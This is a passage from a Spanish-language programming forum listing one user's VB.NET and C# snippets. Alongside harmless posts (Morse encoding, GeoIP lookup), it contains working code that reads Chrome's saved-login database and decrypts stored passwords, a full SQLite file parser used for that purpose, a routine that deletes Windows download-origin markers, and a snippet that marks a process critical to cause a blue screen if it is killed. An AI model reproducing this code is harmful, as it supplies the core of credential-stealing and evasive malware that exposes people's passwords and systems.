                Me.master_table_entries(length + i).row_id = Me.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)), num6)
                num = Convert.ToUInt64(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(num6), New Decimal(num))), Decimal.One))
                endIndex = Me.GVL(CInt(num))
                num6 = endIndex
                Dim num5 As Long = Me.CVL(CInt(num), endIndex)
                Dim numArray As Long() = New Long(4) {}
                Dim index As Integer = 0
                Do
                    endIndex = num6 + 1
                    num6 = Me.GVL(endIndex)
                    numArray(index) = Me.CVL(endIndex, num6)
                    If numArray(index) > 9L Then
                        If Me.IsOdd(numArray(index)) Then
                            numArray(index) = CLng(Math.Round(CDbl(CDbl(numArray(index) - 13L) / 2.0)))
                        Else
                            numArray(index) = CLng(Math.Round(CDbl(CDbl(numArray(index) - 12L) / 2.0)))
                        End If
                    Else
                        numArray(index) = Me.SQLDataTypeSize(CInt(numArray(index)))
                    End If
                    index += 1
                Loop While index <= 4
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                End If
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                End If
                Me.master_table_entries(length + i).root_num = CLng(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2)))), CInt(numArray(3))))
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                End If
            Next
        ElseIf Me.db_bytes(CInt(Offset)) = 5 Then
            Dim num11 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 3D)), 2)), Decimal.One))
            Dim num14 As Integer = num11
            For j As Integer = 0 To num14
                Dim startIndex As UShort = CUShort(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(Offset), 12D), New Decimal(j * 2))), 2))
                If Decimal.Compare(New Decimal(Offset), 100D) = 0 Then
                    Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(startIndex, 4)), Decimal.One), New Decimal(Me.page_size))))
                Else
                    Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(CInt(Offset + startIndex), 4)), Decimal.One), New Decimal(Me.page_size))))
                End If
            Next
            Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 8D)), 4)), Decimal.One), New Decimal(Me.page_size))))
        End If
    End Sub

    Public Function ReadTable(TableName As String) As Boolean
        Dim index As Integer = -1
        Dim length As Integer = Me.master_table_entries.Length - 1
        For i As Integer = 0 To length
            If String.Compare(Me.master_table_entries(i).item_name.ToLower(), TableName.ToLower(), StringComparison.Ordinal) = 0 Then
                index = i
                Exit For
            End If
        Next
        If index = -1 Then
            Return False
        End If
        Dim strArray As String() = Me.master_table_entries(index).sql_statement.Substring(Me.master_table_entries(index).sql_statement.IndexOf("(", StringComparison.Ordinal) + 1).Split(New Char() {","c})
        Dim num6 As Integer = strArray.Length - 1
        For j As Integer = 0 To num6
            strArray(j) = (strArray(j)).TrimStart()
            Dim num4 As Integer = strArray(j).IndexOf(" ", StringComparison.Ordinal)
            If num4 > 0 Then
                strArray(j) = strArray(j).Substring(0, num4)
            End If
            If strArray(j).IndexOf("UNIQUE", StringComparison.Ordinal) = 0 Then
                Exit For
            End If
            Me.field_names = DirectCast(Utils.CopyArray(DirectCast(Me.field_names, Array), New String(j) {}), String())
            Me.field_names(j) = strArray(j)
        Next
        Return Me.ReadTableFromOffset(CULng((Me.master_table_entries(index).root_num - 1L) * Me.page_size))
    End Function

    Private Function ReadTableFromOffset(offset As ULong) As Boolean
        If Me.db_bytes(CInt(offset)) = 13 Then
            Dim num2 As Integer = Convert.ToInt32(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 3D)), 2)), Decimal.One))
            Dim length As Integer = 0
            If Me.table_entries IsNot Nothing Then
                length = Me.table_entries.Length
                Me.table_entries = DirectCast(Utils.CopyArray(DirectCast(Me.table_entries, Array), New table_entry((Me.table_entries.Length + num2)) {}), table_entry())
            Else
                Me.table_entries = New table_entry(num2) {}
            End If
            Dim num16 As Integer = num2
            For i As Integer = 0 To num16
                Dim _fieldArray As record_header_field() = Nothing
                Dim num As ULong = Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(offset), 8D), New Decimal(i * 2))), 2)
                If Decimal.Compare(New Decimal(offset), 100D) <> 0 Then
                    num += offset
                End If
                Dim endIndex As Integer = Me.GVL(CInt(num))
                Dim num9 As Long = Me.CVL(CInt(num), endIndex)
                Dim num8 As Integer = Me.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)))
                Me.table_entries(length + i).row_id = Me.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)), num8)
                num = Convert.ToUInt64(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(num8), New Decimal(num))), Decimal.One))
                endIndex = Me.GVL(CInt(num))
                num8 = endIndex
                Dim num7 As Long = Me.CVL(CInt(num), endIndex)
                Dim num10 As Long = Convert.ToInt64(Decimal.Add(Decimal.Subtract(New Decimal(num), New Decimal(endIndex)), Decimal.One))
                Dim j As Integer = 0
                While num10 < num7
                    _fieldArray = DirectCast(Utils.CopyArray(DirectCast(_fieldArray, Array), New record_header_field(j) {}), record_header_field())
                    endIndex = num8 + 1
                    num8 = Me.GVL(endIndex)
                    _fieldArray(j).type = Me.CVL(endIndex, num8)
                    If _fieldArray(j).type > 9L Then
                        _fieldArray(j).size = If(Me.IsOdd(_fieldArray(j).type), CLng(Math.Round(CDbl(CDbl(_fieldArray(j).type - 13L) / 2.0))), CLng(Math.Round(CDbl(CDbl(_fieldArray(j).type - 12L) / 2.0))))
                    Else
                        _fieldArray(j).size = Me.SQLDataTypeSize(CInt(_fieldArray(j).type))
                    End If
                    num10 = (num10 + (num8 - endIndex)) + 1L
                    j += 1
                End While
                Me.table_entries(length + i).content = New String((_fieldArray.Length - 1)) {}
                Dim num4 As Integer = 0
                Dim num17 As Integer = _fieldArray.Length - 1
                For k As Integer = 0 To num17
                    If _fieldArray(k).type > 9L Then
                        If Not Me.IsOdd(_fieldArray(k).type) Then
                            If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            End If
                        Else
                            Me.table_entries(length + i).content(k) = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                        End If
                    Else
                        Me.table_entries(length + i).content(k) = Conversions.ToString(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size)))
                    End If
                    num4 += CInt(_fieldArray(k).size)
                Next
            Next
        ElseIf Me.db_bytes(CInt(offset)) = 5 Then
            Dim num14 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 3D)), 2)), Decimal.One))
            Dim num18 As Integer = num14
            For m As Integer = 0 To num18
                Dim num13 As UShort = CUShort(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(offset), 12D), New Decimal(m * 2))), 2))
                Me.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(CInt(offset + num13), 4)), Decimal.One), New Decimal(Me.page_size))))
            Next
            Me.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 8D)), 4)), Decimal.One), New Decimal(Me.page_size))))
        End If
        Return True
    End Function

    <StructLayout(LayoutKind.Sequential)>
    Private Structure record_header_field
        Public size As Long
        Public type As Long
    End Structure

    <StructLayout(LayoutKind.Sequential)>
    Private Structure sqlite_master_entry
        Public row_id As Long
        Public item_type As String
        Public item_name As String
        Public astable_name As String
        Public root_num As Long
        Public sql_statement As String
    End Structure

    <StructLayout(LayoutKind.Sequential)>
    Private Structure table_entry
        Public row_id As Long
        Public content As String()
    End Structure
End Class





Descarga del Proyecto Ejemplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#11
C# - VB.NET / [VB.NET] Morse Encode/Decode
Diciembre 04, 2016, 05:33:10 PM


Ejemplo de Uso:

Código: vbnet

Dim textEnc As String = MorseEncDec.Morse(word:="EXAMPLE MORSE ENCODE DECODE FUNCTION",
                                    mode:=Morse.Mode.Encode)

Dim textDec As String = MorseEncDec.Morse(word:=". -..- .- -- .--. .-.. .  -- --- .-. ... .  . -. -.-. --- -.. .  -.. . -.-. --- -.. .  ..-. ..- -. -.-. - .. --- -.",
                                    mode:=Morse.Mode.Decode)


Código: vbnet

Public NotInheritable Class MorseEncDec
    Public Enum Mode As Integer
        [Encode] = 0I
        [Decode] = 1I
    End Enum
    Public Shared Function Morse(ByVal word As String, mode As Mode) As String
        Dim res As String = String.Empty
        Dim dic As Dictionary(Of String, String)
        dic = New Dictionary(Of String, String) From
                    {
                        {"A", ".-"},
                        {"B", "-..."},
                        {"C", "-.-."},
                        {"D", "-.."},
                        {"E", "."},
                        {"F", "..-."},
                        {"G", "--."},
                        {"H", "...."},
                        {"I", ".."},
                        {"J", ".---"},
                        {"K", "-.-"},
                        {"L", ".-.."},
                        {"M", "--"},
                        {"N", "-."},
                        {"Ñ", "--.--"},
                        {"O", "---"},
                        {"P", ".--."},
                        {"Q", "--.-"},
                        {"R", ".-."},
                        {"S", "..."},
                        {"T", "-"},
                        {"U", "..-"},
                        {"V", "...-"},
                        {"W", ".--"},
                        {"X", "-..-"},
                        {"Y", "-.--"},
                        {"Z", "--.."},
                        {"Ä", ".-.-"},
                        {"Ö", "---."},
                        {"Ü", "..--"},
                        {" ", ""},
                        {"0", "-----"},
                        {"1", ".----"},
                        {"2", "..---"},
                        {"3", "...--"},
                        {"4", "....-"},
                        {"5", "....."},
                        {"6", "-...."},
                        {"7", "--..."},
                        {"8", "---.."},
                        {"9", "----."},
                        {".", ".-.-.-"},
                        {",", "--..--"},
                        {"?", "..--.."},
                        {"!", "..--."},
                        {":", "---..."},
                        {"""", ".-..-."},
                        {"'", ".----."},
                        {"-", "-....-"},
                        {"=", "-...-"}
                    }
        Select Case mode
            Case Mode.Encode
                Dim arrWord As IEnumerable(Of Char) = word.ToUpper().ToCharArray()
                Return ((From mStr In arrWord Where dic.ContainsKey(mStr)).Aggregate(res, Function(x, mStr) String.Format("{0} {1}", x, dic.Item(mStr)))).Trim()
            Case Mode.Decode
                Return ((From letter In word.Split(" "c) Select dic.Where(Function(pair) pair.Value = letter).Select(Function(pair) pair.Key).FirstOrDefault()).Aggregate(res, Function(x, key) String.Format("{0}{1}", x, key))).Trim()
        End Select
        Return String.Empty
    End Function

End Class
#12
C# - VB.NET / [VB.NET] GeoIP basado en Maxmind DB Free
Diciembre 04, 2016, 05:26:24 PM
Ejemplo de uso de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y su base de datos Disponible de manera Gratuita No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


Complementos:
Código: php
install-package MaxMind.GeoIP2


#13
C# - VB.NET / [VB.NET] ZoneIdentifier Wrapper by fudmario
Diciembre 04, 2016, 05:17:08 PM
Una simple implementacion para obtener el ZONE.IDENTIFIER(Windows Zone Identifier File) del archivos.

Ejemplo de Uso:

Código: vbnet

   Using zi As New ZoneIdentifier("D:\Sample.exe")
            If zi.Zone = UrlZone.Internet Then
                zi.Remove
            End If
   End Using



El Proyecto esta disponible para descargar: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Si solo quieren eliminar el ZoneIdentifier, pueden usar la API:

Código: vbnet

<DllImport("kernel32.dll", CharSet:=CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True, SetLastError:=True)>
        Public Shared Function DeleteFile(<MarshalAs(UnmanagedType.LPTStr)> ByVal filepath As String
        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function


Ejemplo de Uso:

Código: vbnet

<DllImport("kernel32.dll", CharSet:=CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True, SetLastError:=True)>
        Public Shared Function DeleteFile(<MarshalAs(UnmanagedType.LPTStr)> ByVal filepath As String
        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
Public Function DeleteZoneIdentifier(ByVal filePath As String) As Boolean
       Return DeleteFile(filePath + ":Zone.Identifier")
End Function
#14
C# - VB.NET / [VB.NET | C#] ProcessCritical
Diciembre 04, 2016, 05:05:15 PM
Un ejemplo sencillo para proteger el proceso y generar el BSOD.



Código: vbnet

        <DllImport("NTdll.dll", EntryPoint:="RtlSetProcessIsCritical", SetLastError:=True)>
        Public Shared Sub SetCurrentProcessIsCritical(
                      <MarshalAs(UnmanagedType.Bool)> ByVal isCritical As Boolean,
                      <MarshalAs(UnmanagedType.Bool)> ByRef refWasCritical As Boolean,
                      <MarshalAs(UnmanagedType.Bool)> ByVal needSystemCriticalBreaks As Boolean)
        End Sub

Private Sub SetProcessCritical()
Dim refWasCritical As Boolean
System.Diagnostics.Process.EnterDebugMode()
SetCurrentProcessIsCritical(True, refWasCritical, False)
End Sub
Private Sub UnSetProcessCritical()
Dim refWasCritical As Boolean
SetCurrentProcessIsCritical(False, refWasCritical, False)
End Sub


Código: csharp

        [DllImport("NTdll.dll", EntryPoint = "RtlSetProcessIsCritical", SetLastError = true)]
        public static extern void SetCurrentProcessIsCritical(
            [MarshalAs(UnmanagedType.Bool)]bool isCritical,
            [MarshalAs(UnmanagedType.Bool)]ref bool refWasCritical,
            [MarshalAs(UnmanagedType.Bool)]bool needSystemCriticalBreaks);

        private void SetProcessCritical()
        {
            bool refWasCritical = false;
            System.Diagnostics.Process.EnterDebugMode();
            SetCurrentProcessIsCritical(true, ref refWasCritical, false);
             
        }

        private void UnSetProcessCritical()
        {
            bool refWasCritical = false;
            SetCurrentProcessIsCritical(false, ref refWasCritical, false);
             
        }
#15
C# - VB.NET / [VB.NET] Chrome Password Viewer
Diciembre 04, 2016, 04:56:51 PM

Chrome Test: Versión 54.0.2840.99 m (64-bit)



Se necesita de la Clase SqliteHandler, la pueden copiar de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: vbnet

'Ruta del archivo con la contraseña.
Dim loginPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\Chrome\User Data\Default\Login Data")
Dim sb As New StringBuilder
Dim sqlDataBase As New SqLiteHandler(loginPath)
      sqlDataBase.ReadTable("logins")
Dim count As Integer = sqlDataBase.GetRowCount()
For i = 0 To count - 1
                Dim mUrl As String = sqlDataBase.GetValue(i, "origin_url")
                Dim mUserName As String = sqlDataBase.GetValue(i, "username_value")
                Dim mPassword As String = Decode(sqlDataBase.GetValue(i, "password_value"))
                sb.AppendLine("User: " & mUserName)
                sb.AppendLine("Url: " & mUrl)
                sb.AppendLine("Password: " & mPassword)
Next i

Messagebox.Show(sb.ToString)


Para decifrar las contraseñas, agregar Referencias a: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta e Importar: System.Security.Cryptography
Código: vbnet

    Private Function Decode(ByVal data As String) As String
        If String.IsNullOrEmpty(data) Then
            Return String.Empty
        Else
            Dim encryptedData As Byte() = Encoding.Default.GetBytes(data)
            Dim decryptedData As Byte() = ProtectedData.Unprotect(encryptedData, Nothing, DataProtectionScope.CurrentUser)
            Return Encoding.UTF8.GetString(decryptedData)
        End If
    End Function


Código: vbnet

' ***********************************************************************
' Assembly         : SQLiteHandler
' Author           : ??????
' Created          : ??-??-????
'' ***********************************************************************

Imports System.IO
Imports System.Runtime.InteropServices
Imports Microsoft.VisualBasic.CompilerServices
Public Class SqLiteHandler
    Private db_bytes As Byte()
    Private mEncoding As ULong
    Private field_names As String()
    Private master_table_entries As sqlite_master_entry()
    Private page_size As UShort
    Private SQLDataTypeSize As Byte() = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
    Private table_entries As table_entry()

    Public Sub New(baseName As String)
        If File.Exists(baseName) Then
            FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.[Shared], -1)
            Dim str As String = Strings.Space(CInt(FileSystem.LOF(1)))
            FileSystem.FileGet(1, str, -1L, False)
            FileSystem.FileClose(New Integer() {1})
            Me.db_bytes = System.Text.Encoding.Default.GetBytes(str)
            If String.Compare(System.Text.Encoding.Default.GetString(Me.db_bytes, 0, 15), "SQLite format 3", StringComparison.Ordinal) <> 0 Then
                Throw New Exception("Not a valid SQLite 3 Database File")
            End If
            If Me.db_bytes(&H34) <> 0 Then
                Throw New Exception("Auto-vacuum capable database is not supported")
            End If
            Me.page_size = CUShort(Me.ConvertToInteger(&H10, 2))
            Me.mEncoding = Me.ConvertToInteger(&H38, 4)
            If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.Zero) = 0 Then
                Me.mEncoding = 1L
            End If
            Me.ReadMasterTable(100L)
        End If
    End Sub

    Private Function ConvertToInteger(startIndex As Integer, Size As Integer) As ULong
        If (Size > 8) Or (Size = 0) Then
            Return 0L
        End If
        Dim num2 As ULong = 0L
        Dim num4 As Integer = Size - 1
        For i As Integer = 0 To num4
            num2 = (num2 << 8) Or Me.db_bytes(startIndex + i)
        Next
        Return num2
    End Function

    Private Function CVL(startIndex As Integer, endIndex As Integer) As Long
        endIndex += 1
        Dim buffer As Byte() = New Byte(7) {}
        Dim num4 As Integer = endIndex - startIndex
        Dim flag As Boolean = False
        If (num4 = 0) Or (num4 > 9) Then
            Return 0L
        End If
        If num4 = 1 Then
            buffer(0) = CByte(Me.db_bytes(startIndex) And &H7F)
            Return BitConverter.ToInt64(buffer, 0)
        End If
        If num4 = 9 Then
            flag = True
        End If
        Dim num2 As Integer = 1
        Dim num3 As Integer = 7
        Dim index As Integer = 0
        If flag Then
            buffer(0) = Me.db_bytes(endIndex - 1)
            endIndex -= 1
            index = 1
        End If
        Dim num7 As Integer = startIndex
        Dim i As Integer = endIndex - 1
        While i >= num7
            If (i - 1) >= startIndex Then
                buffer(index) = CByte((CByte(Me.db_bytes(i) >> ((num2 - 1) And 7)) And (CInt(&HFF) >> num2)) Or CByte(Me.db_bytes(i - 1) << (num3 And 7)))
                num2 += 1
                index += 1
                num3 -= 1
            ElseIf Not flag Then
                buffer(index) = CByte(CByte(Me.db_bytes(i) >> ((num2 - 1) And 7)) And (CInt(&HFF) >> num2))
            End If
            i += -1
        End While
        Return BitConverter.ToInt64(buffer, 0)
    End Function

    Public Function GetRowCount() As Integer
        Return Me.table_entries.Length
    End Function

    Public Function GetTableNames() As String()
        Dim strArray2 As String() = Nothing
        Dim index As Integer = 0
        Dim num3 As Integer = Me.master_table_entries.Length - 1
        For i As Integer = 0 To num3
            If Me.master_table_entries(i).item_type = "table" Then
                strArray2 = DirectCast(Utils.CopyArray(DirectCast(strArray2, Array), New String(index) {}), String())
                strArray2(index) = Me.master_table_entries(i).item_name
                index += 1
            End If
        Next
        Return strArray2
    End Function

    Public Function GetValue(row_num As Integer, field As Integer) As String
        If row_num >= Me.table_entries.Length Then
            Return Nothing
        End If
        If field >= Me.table_entries(row_num).content.Length Then
            Return Nothing
        End If
        Return Me.table_entries(row_num).content(field)
    End Function

    Public Function GetValue(row_num As Integer, field As String) As String
        Dim num As Integer = -1
        Dim length As Integer = Me.field_names.Length - 1
        For i As Integer = 0 To length
            If Me.field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then
                num = i
                Exit For
            End If
        Next
        If num = -1 Then
            Return Nothing
        End If
        Return Me.GetValue(row_num, num)
    End Function

    Private Function GVL(startIndex As Integer) As Integer
        If startIndex > Me.db_bytes.Length Then
            Return 0
        End If
        Dim num3 As Integer = startIndex + 8
        For i As Integer = startIndex To num3
            If i > (Me.db_bytes.Length - 1) Then
                Return 0
            End If
            If (Me.db_bytes(i) And &H80) <> &H80 Then
                Return i
            End If
        Next
        Return (startIndex + 8)
    End Function

    Private Function IsOdd(value As Long) As Boolean
        Return ((value And 1L) = 1L)
    End Function

    Private Sub ReadMasterTable(Offset As ULong)
        If Me.db_bytes(CInt(Offset)) = 13 Then
            Dim num2 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 3D)), 2)), Decimal.One))
            Dim length As Integer = 0
            If Me.master_table_entries IsNot Nothing Then
                length = Me.master_table_entries.Length
                Me.master_table_entries = DirectCast(Utils.CopyArray(DirectCast(Me.master_table_entries, Array), New sqlite_master_entry((Me.master_table_entries.Length + num2)) {}), sqlite_master_entry())
            Else
                Me.master_table_entries = New sqlite_master_entry(num2) {}
            End If
            Dim num13 As Integer = num2
            For i As Integer = 0 To num13
                Dim num As ULong = Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(Offset), 8D), New Decimal(i * 2))), 2)
                If Decimal.Compare(New Decimal(Offset), 100D) <> 0 Then
                    num += Offset
                End If
                Dim endIndex As Integer = Me.GVL(CInt(num))
                Dim num7 As Long = Me.CVL(CInt(num), endIndex)
                Dim num6 As Integer = Me.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)))
                Me.master_table_entries(length + i).row_id = Me.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)), num6)
                num = Convert.ToUInt64(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(num6), New Decimal(num))), Decimal.One))
                endIndex = Me.GVL(CInt(num))
                num6 = endIndex
                Dim num5 As Long = Me.CVL(CInt(num), endIndex)
                Dim numArray As Long() = New Long(4) {}
                Dim index As Integer = 0
                Do
                    endIndex = num6 + 1
                    num6 = Me.GVL(endIndex)
                    numArray(index) = Me.CVL(endIndex, num6)
                    If numArray(index) > 9L Then
                        If Me.IsOdd(numArray(index)) Then
                            numArray(index) = CLng(Math.Round(CDbl(CDbl(numArray(index) - 13L) / 2.0)))
                        Else
                            numArray(index) = CLng(Math.Round(CDbl(CDbl(numArray(index) - 12L) / 2.0)))
                        End If
                    Else
                        numArray(index) = Me.SQLDataTypeSize(CInt(numArray(index)))
                    End If
                    index += 1
                Loop While index <= 4
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                End If
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                End If
                Me.master_table_entries(length + i).root_num = CLng(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2)))), CInt(numArray(3))))
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
